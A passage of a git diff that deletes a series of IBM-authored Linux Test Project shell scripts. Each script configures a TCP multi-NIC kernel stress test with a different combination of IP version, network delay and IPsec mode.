100644 index 730ea9b6..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic06 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffnic06 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp4-multi-diffnic06 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic07 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic07 deleted file mode 100644 index 2166b775..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic07 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffnic07 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp4-multi-diffnic07 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic08 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic08 deleted file mode 100644 index c6675545..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic08 +++ /dev/null @@ -1,64 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffnic08 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec is not used -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp4-multi-diffnic08 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic09 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic09 deleted file mode 100644 index 4d12e159..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic09 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffnic09 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp4-multi-diffnic09 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic10 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic10 deleted file mode 100644 index 583a3da1..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic10 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffnic10 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp4-multi-diffnic10 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic11 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic11 deleted file mode 100644 index 3751d5a0..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic11 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffnic11 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp4-multi-diffnic11 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic12 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic12 deleted file mode 100644 index 98724b99..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic12 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffnic12 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp4-multi-diffnic12 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic13 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic13 deleted file mode 100644 index fc97160a..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic13 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffnic13 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp4-multi-diffnic13 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic14 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic14 deleted file mode 100644 index 12fa5132..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic14 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffnic14 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp4-multi-diffnic14 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic01 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic01 deleted file mode 100644 index e47d491d..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic01 +++ /dev/null @@ -1,64 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffnic01 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec is not used -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp6-multi-diffnic01 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic02 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic02 deleted file mode 100644 index 20978ce4..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic02 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffnic02 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp6-multi-diffnic02 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic03 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic03 deleted file mode 100644 index d06048dc..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic03 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffnic03 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp6-multi-diffnic03 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic04 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic04 deleted file mode 100644 index 33bcf44f..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic04 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffnic04 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp6-multi-diffnic04 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic05 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic05 deleted file mode 100644 index 5052a148..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic05 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffnic05 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp6-multi-diffnic05 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic06 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic06 deleted file mode 100644 index 3911a113..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic06 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffnic06 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp6-multi-diffnic06 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic07 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic07 deleted file mode 100644 index 2263b87b..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic07 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffnic07 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp6-multi-diffnic07 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol 